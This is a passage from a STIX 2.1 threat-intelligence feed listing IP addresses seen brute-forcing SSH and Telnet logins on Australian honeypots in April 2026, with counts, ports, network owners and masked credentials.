      "type": "indicator",
      "valid_from": "2026-04-12T19:15:03.000Z",
      "valid_until": "2026-05-14T19:15:02.000Z"
    },
    {
      "created": "2026-04-12T19:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--db75d633-ecf4-40f4-82d4-9210760eabad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T19:15:03.000Z",
      "valid_until": "2026-05-14T19:15:02.000Z"
    },
    {
      "created": "2026-04-12T19:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--0d1e384b-23ea-4568-996b-afbe27674987",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T19:15:03.000Z",
      "valid_until": "2026-05-14T19:15:02.000Z"
    },
    {
      "created": "2026-04-12T19:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--b6a78597-9b00-472b-be3b-9916517e9286",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T19:15:03.000Z",
      "valid_until": "2026-05-14T19:15:02.000Z"
    },
    {
      "created": "2026-04-12T20:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 262. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, t*****3, u**t, 1****6. Passwords observed (masked): 1****6, p******d, t*****3, 0*************7, 0**************D.",
      "id": "indicator--a8090a86-51b9-42e0-9ba4-b439d5beafa6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T20:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.231.184.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T20:15:21.000Z",
      "valid_until": "2026-05-14T20:15:02.000Z"
    },
    {
      "created": "2026-04-12T20:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, c***o, *****, **. Passwords observed (masked): 1****6, *****, 0********1, *, 1****1.",
      "id": "indicator--e70c7352-26d4-4596-9803-59881fee1553",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T20:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.231.185.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T20:15:21.000Z",
      "valid_until": "2026-05-14T20:15:02.000Z"
    },
    {
      "created": "2026-04-12T20:15:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--daaa072c-2690-4e9f-b8eb-1577adca143a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T20:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T20:15:21.000Z",
      "valid_until": "2026-05-14T20:15:02.000Z"
    },
    {
      "created": "2026-04-12T20:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 262186. Organisation(s): TV AZTECA SUCURSAL COLOMBIA. Usernames observed (masked): r**t, u****u, u**r, 3**********4, a*****r. Passwords observed (masked): ***, 1******r, 1**********C, 1******r, 1**z.",
      "id": "indicator--d262d76d-c926-434a-85cb-fa31c0a6b2f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T20:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '191.97.12.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T20:15:21.000Z",
      "valid_until": "2026-05-14T20:15:02.000Z"
    },
    {
      "created": "2026-04-12T20:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 301. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, 1**4, a****n, a***n. Passwords observed (masked): 1**4, a******3, p******d, 0**************D, 1**1.",
      "id": "indicator--82e50c11-5f3e-44e6-b064-5b846cfcc92e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T20:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.1.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T20:15:21.000Z",
      "valid_until": "2026-05-14T20:15:02.000Z"
    },
    {
      "created": "2026-04-12T20:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 254. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, s*****t, t**t, a**o. Passwords observed (masked): a***n, 1**4, 1***5, 1****6, a****3.",
      "id": "indicator--5c479fa2-2df4-4728-b0b1-732e02c2170c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T20:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.42.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T20:15:21.000Z",
      "valid_until": "2026-05-14T20:15:02.000Z"
    },
    {
      "created": "2026-04-12T20:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, u****u, 3**********4, u**r, a*****r. Passwords observed (masked): 3***********4, 3**********4, ***, 1******r, 1**********C.",
      "id": "indicator--e8afe663-8960-4e61-acef-f29d1bb58239",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T20:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '52.224.109.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T20:15:21.000Z",
      "valid_until": "2026-05-14T20:15:02.000Z"
    },
    {
      "created": "2026-04-12T20:15:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--1ccc3cc2-f1ef-4cce-b6a8-5b87ace2c621",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T20:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '73.166.205.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T20:15:21.000Z",
      "valid_until": "2026-05-14T20:15:02.000Z"
    },
    {
      "created": "2026-04-12T20:15:21.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 23. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--d8754914-e8dd-4922-9c02-c966adac1ea9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T20:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T20:15:21.000Z",
      "valid_until": "2026-05-14T20:15:02.000Z"
    },
    {
      "created": "2026-04-12T21:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--28d48449-2a76-4d38-a34f-b24ad1307d4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.236.228.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T21:15:04.000Z",
      "valid_until": "2026-05-14T21:15:02.000Z"
    },
    {
      "created": "2026-04-12T21:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--058dd596-10b5-4ac8-84af-c27ffcb288b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.189.35.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T21:15:04.000Z",
      "valid_until": "2026-05-14T21:15:02.000Z"
    },
    {
      "created": "2026-04-12T21:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, e*****t, f****e, s***m, t*****p. Passwords observed (masked): 1**********Z, A******3, A*********5, F******0, e**********4.",
      "id": "indicator--6a8ecae9-54e5-4771-b383-0ae64679dd0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '4.186.31.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T21:15:04.000Z",
      "valid_until": "2026-05-14T21:15:02.000Z"
    },
    {
      "created": "2026-04-12T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--28a1a595-6903-4988-a1dd-14c481ccc691",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.107.3.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T22:15:04.000Z",
      "valid_until": "2026-05-14T22:15:02.000Z"
    },
    {
      "created": "2026-04-12T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--aa8d8a54-2100-4704-a3ad-f528e852a957",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.115.99.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T22:15:04.000Z",
      "valid_until": "2026-05-14T22:15:02.000Z"
    },
    {
      "created": "2026-04-12T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IL. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--78823561-ce34-4abf-a122-29c1777fb216",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '129.159.149.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T23:15:03.000Z",
      "valid_until": "2026-05-14T23:15:02.000Z"
    },
    {
      "created": "2026-04-12T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--0e1ede6e-76b8-478c-bacf-40b739889e9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T23:15:03.000Z",
      "valid_until": "2026-05-14T23:15:02.000Z"
    },
    {
      "created": "2026-04-12T23:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8369. Organisation(s): Intersvyaz-2 JSC.",
      "id": "indicator--d7aba973-3710-4552-8194-08be8f18402e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.140.99.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T23:15:03.000Z",
      "valid_until": "2026-05-14T23:15:02.000Z"
    },
    {
      "created": "2026-04-13T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e5a0dd9b-babc-4c1e-8ad1-f9650168d59f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.26.208.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T00:15:11.000Z",
      "valid_until": "2026-05-15T00:15:09.000Z"
    },
    {
      "created": "2026-04-13T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--3bf07c37-3892-4de9-b02f-11f9ae943fa5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '40.124.175.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T00:15:11.000Z",
      "valid_until": "2026-05-15T00:15:09.000Z"
    },
    {
      "created": "2026-04-13T01:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--8ecd7a66-19f7-4124-a6d1-ec64aa26e52b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T01:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '100.35.7.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:15:34.000Z",
      "valid_until": "2026-05-15T01:15:01.000Z"
    },
    {
      "created": "2026-04-13T01:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--54eaace8-5597-4f34-a197-b227aa71b439",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T01:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '174.129.71.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:15:34.000Z",
      "valid_until": "2026-05-15T01:15:01.000Z"
    },
    {
      "created": "2026-04-13T01:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): s***r. Passwords observed (masked): a*******s.",
      "id": "indicator--79f9cc50-5d42-4646-a14d-8c88d9b4105e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T01:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.242.60.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:15:34.000Z",
      "valid_until": "2026-05-15T01:15:01.000Z"
    },
    {
      "created": "2026-04-13T01:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--267bbacd-1def-4b4c-97c3-a5cce3fa4333",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T01:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:15:34.000Z",
      "valid_until": "2026-05-15T01:15:01.000Z"
    },
    {
      "created": "2026-04-13T01:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--23e82943-9994-4354-9c66-31e33e965b94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T01:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:15:34.000Z",
      "valid_until": "2026-05-15T01:15:01.000Z"
    },
    {
      "created": "2026-04-13T01:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--75fe8401-1861-47ab-acda-c0b5b98581f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T01:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:15:34.000Z",
      "valid_until": "2026-05-15T01:15:01.000Z"
    },
    {
      "created": "2026-04-13T01:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--05ed3d73-1ca4-4b57-ba47-294205baed31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T01:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:15:34.000Z",
      "valid_until": "2026-05-15T01:15:01.000Z"
    },
    {
      "created": "2026-04-13T01:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--515b0c99-edfb-47ce-a08e-ef6d99ddd772",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T01:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:15:34.000Z",
      "valid_until": "2026-05-15T01:15:01.000Z"
    },
    {
      "created": "2026-04-13T01:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--4ee30982-c395-4e00-9d67-935680ec95c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T01:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:15:34.000Z",
      "valid_until": "2026-05-15T01:15:01.000Z"
    },
    {
      "created": "2026-04-13T01:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--29966446-b58b-420b-82e0-2ba7d5fd96d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T01:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:15:34.000Z",
      "valid_until": "2026-05-15T01:15:01.000Z"
    },
    {
      "created": "2026-04-13T01:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--da49b053-8dda-4fa8-b103-12da41006ed0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T01:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:15:34.000Z",
      "valid_until": "2026-05-15T01:15:01.000Z"
    },
    {
      "created": "2026-04-13T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 348. Sensors involved: Heralding. Target ports: 1080. Source country: CN. ASN(s): 56041. Organisation(s): China Mobile communications corporation. Usernames observed (masked): a***n, r**t, u**r, ***, 1****6. Passwords observed (masked): ***, 1****6, 1**4, *, 1***5.",
      "id": "indicator--8893baa5-e6fe-4f44-bbf0-535e84e9090d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.136.111.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:15:04.000Z",
      "valid_until": "2026-05-15T02:15:02.000Z"
    },
    {
      "created": "2026-04-13T02:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--04c8b00c-e18f-4779-ba27-799ecc8bdc86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:15:04.000Z",
      "valid_until": "2026-05-15T02:15:02.000Z"
    },
    {
      "created": "2026-04-13T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--eb0c057d-51cc-48ca-b510-2df305ca0e29",
      "labels": [
        "bruteforce"
      ],
